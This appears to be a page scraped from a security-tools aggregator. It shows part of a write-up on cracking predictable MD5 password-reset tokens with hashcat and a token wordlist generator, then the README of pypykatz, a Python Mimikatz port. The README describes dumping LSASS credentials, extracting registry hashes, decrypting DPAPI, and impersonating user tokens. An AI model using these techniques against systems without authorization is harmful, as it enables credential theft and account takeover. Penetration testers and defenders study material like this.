    582431d4c7b57cb4a3570041ffeb7e10:74824!Foo!Bar!foo.bar@example.com!1583860379

    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: MD5
    Hash.Target......: 582431d4c7b57cb4a3570041ffeb7e10
    [...]
  8. Now you know that reset password tokens are generated as follow:
    md5(user ID!first name!last name!email!current timestamp)

Usage
usage: token-reverser.py [-h] [-d DATE] [-o TIMESTAMP_OFFSET] [-s SEPARATORS]
data [data ...]

Word list generator to crack security tokens v1.1

positional arguments:
data data chunks

optional arguments:
-h, --help show this help message and exit
-d DATE, --date DATE timestamp from this date will be used as an additional
data chunk, example: Tue, 10 Mar 2020 14:06:36 GMT
-o TIMESTAMP_OFFSET, --timestamp-offset TIMESTAMP_OFFSET
how many previous (to timestamp from date) timestamps
should be used as an additional data chunk, default: 1
-s SEPARATORS, --separators SEPARATORS
data chunks separators to check, default:
~`!@#$%^&*()_+-={}|[]\:";'<>?,./ \t


Pypykatz - Mimikatz Implementation In Pure Python

$
0
0

Mimikatz implementation in pure Python. At least a part of it :)
Runs on all OS's which support python>=3.6

WIKI
Since version 0.1.1 the command line changed a little. Worry not, I have an awesome WIKI for you.

Installing
Install it via pip or by cloning it from github.
The installer will create a pypykatz executable in the python's Script directory. You can run it from there, should be in your PATH.
Take care, that the github master version might fail because I'm layz to do a proper branch for the new versions. I'll try to create a branch of stable version tho.

Via PIP
pip3 install pypykatz

Via Github
Install prerequirements
pip3 install minidump minikerberos aiowinreg msldap winsspi
Clone this repo
git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
Install it
python3 setup.py install

Features

General
Platform idependent - all commands have a "live" and a normal version where applicable. The "live" version will use the current system and only works on Windows. The normal commands are platform independent.
Can be used as a library for your projects.

LSASS processing
Can parse the secrets hidden in the LSASS process. This is just like mimikatz's sekurlsa:: but with different commands.
The main difference here is that all the parsing logic is separated from the data source, so if you define a new reader object you can basically perform the parsing of LSASS from anywhere.
Currently supported data sources:
  1. live - reads the LSASS porcess' memory directly
  2. minidump - processes a minidump file created by dumping the LSASS process
  3. rekall (volatility fork) - processes basically ANY windows memory dumps that rekall can parse
  4. pcileech - can dump secrets DIRECTLY via DMA of a live computer
  5. remote - this is another project. TBD :)
  6. your project here seriously, it's super-simple to integrate.

Registry processing
Parses the registry hives to obtain stroed credentials, like NT and LM hashes, domain cached credentials (DCC/DCC2) and LSA secrets.
Currently supported data sources:
  1. live - has two techniques to parse live registry. First it's in-memory doesn't touch disk, the second is dumping the hives and parsing them with the offline parser
  2. offline (hive files)
  3. your project here seriously, it's super-simple to integrate.

DPAPI functions - MASTERKEY/BLOB/VAULT/CREDENTIAL
DPAPI is the protector of local secrets of many kinds. Currently the project supports decrypting masterkeys, dpapi blobs, credential files, vault files.
The results are not 100% correct, as there is not much documentation on most of these things. PR is always welcomed!
Currently supported data sources:
  1. live - obtains masterkeys directly from LSASS -OR- the user/machine keys from live registry and decrypts the masterkeyfile.
  2. hive files (offline)- the user/machine keys from live registry and decrypts the masterkeyfile
  3. valid credentials (offline) - can decrypt masterkey files by letting you type in the correct SID and password.
  4. pls don't integrate this part to your project, it's beta

Impersonating users
Can spawn a new process as any user who has a process running on the machine.
Can assign any available token of choise to your thread
This is just a basic stuff really. Reson is there that I hate to constanly use psexec to get a system shell from admin...

other stuff
yeah... check the code. it has comments and stuff...

Rekall command options

Timestamp override
Reason for this parameter to exist: In order to choose the correct structure for parsing we need the timestamp info of the msv dll file. Rekall sadly doesnt always have this info for some reason, therefore the parsing may be failing.
If the parsing is failing this could solve the issue.
Parameter: -t
Values: 0 or 1
Example:
pypykatz.py rekall <momeory_dump_file> -t 0

Rekall usage
There are two ways to use rekall-based memory parsing.

Via the pypykatz rekall command
You will need to specify the memory file to parse.

Via rekall command line
IMPORTANT NOTICES:
  1. If you are just now deciding to install rekall please note: it MUST be run in a virtualenv, and you will need to install pypykatz in the same virtualenv!
  2. rekall command line is not suitable to show all information acquired from the memory, you should use the out_file and kerberos_dir command switches!
You can find a rekall plugin file named pypykatz_rekall.py in the plugins folder of pypykatz.
You will need to copy it in rekall's plugins/windows folder, and rename it to pypykatz.py.
After this modify the __init__.py file located the same folder and add the following line at the end: from rekall.plugins.windows import pypykatz
If everything is okay you can use the pypykatz command from the rekall command line directly.

HELP WANTED
If you want to help me getting this project into a stable release you can send mindiumps of the lsass.exe process to the following link: https://nx5494.your-storageshare.de/s/SJteWj3PPbg8jBA IMPORTANT: please DO NOT send dumps of your own machine's lsass process!!! I will be able to see your secrets including hashes/passwords! Send dump files from machines like virtual test systems on which you don't mind that someone will see the credentials. (if you have a test domain system where kerberos is set up that would be the best)
Also I'd apprechiate if you wouldn't spam me...

Why do I need these dumps files?
In order to create mimikatz in Python one would have to create structure definitions of a gazillion different structures (check the original code) without the help of the build-in parser that you'd naturally get from using a native compiler. Now, the problem is that even a single byte misalignemt will render the parsing of these structures run to an error. Problem is mostly revolving around 32 - 64 aligments, so 32 bit Windows version lsass dumps are apprechiated as well!

Summary
I need data I can verify the code on and administer necessary changes on the parsers until everything works fine.
Submitting issues on this github page wouldn't help at all without the actual file and github wouldn't like 40-300Mb file attachments.

Prerequisites
Most of my big python projects are aiming for maximum protability, meaning I only use 3rd party packages where absolutely necessary. As of this point three additional packages are used, and I intend to keep it this way.
Python>=3.6
minidump
minikerberos
asn1crypto

Kudos
Benjamin DELPY @gentilkiwi for Mimikatz
Francesco Picasso for the mimikatz.py plugin for volatility
Alberto Solino (@agsolino) for impacket

Crypto
Richard Moore for the AES module
Todd Whiteman for teh DES module

Utils
David Buxton for the timestamp conversion script


Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>